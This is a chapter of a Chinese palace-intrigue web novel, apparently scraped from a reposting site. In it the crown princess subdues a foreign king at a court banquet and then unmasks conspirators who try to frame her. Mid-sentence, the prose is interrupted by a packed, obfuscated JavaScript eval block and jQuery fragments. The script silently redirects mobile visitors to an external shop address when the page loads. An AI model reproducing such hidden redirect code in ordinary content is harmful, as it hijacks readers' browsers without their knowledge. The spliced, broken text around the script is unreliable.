文趣网 > 其他小说 > 金陵乱 > 94. 万国朝(4)
    只有两种人会处在自信之巅,愚昧且见识太少、不知山外有山天外有天者是第一种,经历过低谷、阅尽千帆、稳扎稳打者是第二种。瓦里新王明显是前者,而这种对自身能力非常自信的狂傲之人,一旦碰上能将他打服的力量,往往转变得比谁都快,就如那些嗷嗷狂吠的犬类,但凡遇见过比它们高一个层级的力量,立马便知道头要往哪个方向低。

    他们塑造了这个体系,无时无刻不在崇拜且向往加入这个体系中的更高层级。

    瓦里王换上心悦诚服的语气:“太子妃殿下尽管开口!”

    “几朝之前,曾有诗人吟诵过这样一句,‘遣妾一身安社稷,不知何处用将军’。本宫忝为将门血脉,如果有朝一日大齐无将可用,想来也是能带兵征战,浴血沙场的。既有妾身一人可用,那就请瓦里王承诺瓦里部族生生世世不得再向大齐提出和亲之求!”说着,百里若开始四下走动,面向整个西面巡视振声,一个一个扫过那些心怀鬼胎的使者面庞,“只要本宫还活着一日,只要本宫的子嗣后代还践行此信此念,任何人,想以和亲之由娶我大齐女子,都得先问问本宫,问问本宫的后代同不同意!”

    北越使臣步步紧逼:“太子妃此举,似乎有中原成语‘牝鸡司晨’可以形容啊。”

    谢清言立刻跟上:“两年前北越违反我朝例律在驿馆私蓄五倍府兵,勾结亲王意图作乱生事,想必阁下不曾忘记。方才又能直名那位姑娘是兵部尚书之女,可见对我大齐内政,当真关心得很呐。”

    一时僵持,针锋相对,寸步不让。

    百里若站回方才她下跪请战的位置,面向上首行了个礼,随后转头看向西侧席中:“瓦里王,你的地图,还不赶快拿来?”

    瓦里王从席中走出,跪在大殿中央,双手呈上地图道:“臣吐勒尔扎卜瓦,进献瓦里疆域图!天无二日,土无二王,大齐皇帝真皇帝也!今感慕淳风,归心有道,屈膝稽颡,永为藩附!”

    百里若使眼色让旁边内官接过地图,转呈昭元帝,自己回席中坐下了。

    北越的狼子野心这下路人皆知,至于其他小国,古人早有论断:“戎狄兽心,不以义亲,强则侵暴,弱则内附。”希望瓦里的例子,多少能给他们些震慑吧。

    而后,宴席重开,教坊司续奏《天道传之曲》,演《车书会同之舞》,一片祥和,宾主尽欢,再无事端。

    待宴席散场,由于部分使团还要走辞朝的环节,低品级官员及家眷们便先退场。百里若正准备离席,没走两步便听浸月小声提醒:“白公子约殿下文楼阁第三间一会。”

    “知道了。”

    文楼与武楼相对,就在奉天殿至午门这段路上,也在她回雍华宫的路上。

    待百里若进到文楼的第三间房,果然见花想容一身白衣,立在房中。

    两人甫一照面,相视而笑,还未言语,俱已心领神会。

    只见下一刻,恪嫔、浸月领着长春宫数人突入房中,恪嫔喊道:“来人,太子妃与逆贼私通……”

    百里若纹丝不动,淡淡打断道:“逆贼?哪来的逆贼?我怎么不知?”

    “哎呀,青天白日的,怎么随口污人清白。我这妹妹跟随我行医这么多年,我虽是个假哥哥,入宫条子倒是真的,趁宴席散场来看看妹妹,想必圣上知道了,也只会夸我们兄妹情深。红口白牙污人逆贼,还要说我们私通,真是好大好脏好下作一口黑锅,我们兄妹二人可消受不起。”

    浸月争辩道:“你明明,你明明就是多年前楚家小儿……”

    “浸月,你的年岁比我还小,又要如何得知多年前楚家之事?”百里若直直看向浸月,不惧不怒。

    浸月难以置信道:“殿下……早就知道了?”

    百里若轻叹一声:“是。”

    “你……从什么时候开始怀疑的?”

    “帛管家在扶风失踪。”

    当年元宵夜,能干出劫走南宫铃这桩事的,只有他。

    流云浸月入百里府,浸月是晋王府选的人,谢清尧自然让帛管家经手操办。

    老十七对她说,小心身边人。

    本不愿去信,如今当面对峙,既然对面执迷不悟,那也无需多言。

    “还有老十七,应当是那个对我下谶的国师之子,我说得没错吧,恪嫔?”

    恪嫔瞬时腿软,跌落地面。

    老十七曾拿“妖女”之事威胁她,那明明是她出生以前的宫闱密事,极少人知,想容道是当时的国师在也回村与皇宫两头搭桥,才有这么一说。既然极少人知,十七当时尚还年幼,为何会如今重提?那必然是他与国师一系脱不开干系。而北越在方才的宴会中,也不遗余力要将她妖化。

    只要串起这个关节,太多事情就能想通了。

    从长安到济南,被告发被出卖被毁了一半的也回村势力,是他们被“自己人”卖了。

    在百泉酒家追剿他们的,是影务监。

    在她大婚之日要下手杀她的,也是影务监。

    花朝宴上她与谢清言被关在一处,当时她归百里府尚还不久,满城的流言那也只是流言,而且她与谢清尧二人也未在公开场

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883182|212492||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    合一同现身过,谢家对她的态度始终是谜。要搞谢清尧,不仅不急于这时,而且有很多其他路子可以走,不必非挑她下手。老十七这般精准地切中要害,如果是由于对她的来龙去脉一清二楚,那便解释得通。何况在那之后,除了后来阿璇的伪装下毒,再未有人攻击过谢清尧。

    倒是有龙舫一案想将他们全部埋了。

    谢清尧说北越使臣看着面熟,是看着像帛管家,可能是兄弟亲族,再看看,也像老十七,再加上老十七的早产,与其他皇子们的年龄差距,恪嫔的神思忧惧,北越遭灾后的按兵不动。

    如果有一个最简单的答案能解释这一切的纷繁复杂,那它就是答案——国师一系的北越势力,早已盘踞大齐卧榻之侧,蓄势待发,或者说,已经多次行动,但因缘际会,都没能成功。

    起先她还有些疑惑,这伙人接二连三对她下手,又是想让她失身,又是要提妖女的往事,先让她嫁不成谢清尧,又要在她入宫后杀了她,如此大费周章,到底图什么?她便是成了谢清尧的妃,也不过仰赖谢清尧的职务地位,花这样的人力物力、冒出手见光后被清洗的风险,直接对谢清尧下手岂不更快?

    看着面前还要往她身上泼脏水的这伙人,她倒有些明白了。

    以她以一敌百的能力,怕不是能扭转乾坤。

    他们用尽各种办法,想除去大齐皇权正统的这个助力。

    她从大婚夜的行刺中存活,得昭元帝倚信,又有流云傍身,他们便再无取她性命之机。

    宴席上击败瓦里勇士,大齐太子妃之名注定传扬四海八方。

    只有现在,是他们最后能动她的时机了,携各国外宾远来、不能被封口之势。

    强弩之末,拼死一击,不得不如此行事。

    禁宫巡防队伍围在了门口。

    浸月回头唤道:“你们,你们也都看到了,太子妃她……”

    “浸月,”百里若上前一步,打断了他们最后的挣扎,“你以为这六宫之中,如今是谁做主?”

    巡防卫官涌入,将长春宫人一个个羁押带走。

    “传本宫令,恪嫔与浸月囚于长春宫,不得外出。其余人等,扭送谨身殿,交由圣上裁决。”

    “是。”

    待一群人乌泱泱散去,百里若与花想容一同走出文楼。

    谁能想到,从多年前到现在,跨越这么长时间,针对她捏造的这子虚乌有的妖女名头,百般迫害,竟成了他们逆向认清幕后黑手的关键。

    迷雾除去,双方明牌,接下来,才是硬碰硬的对决。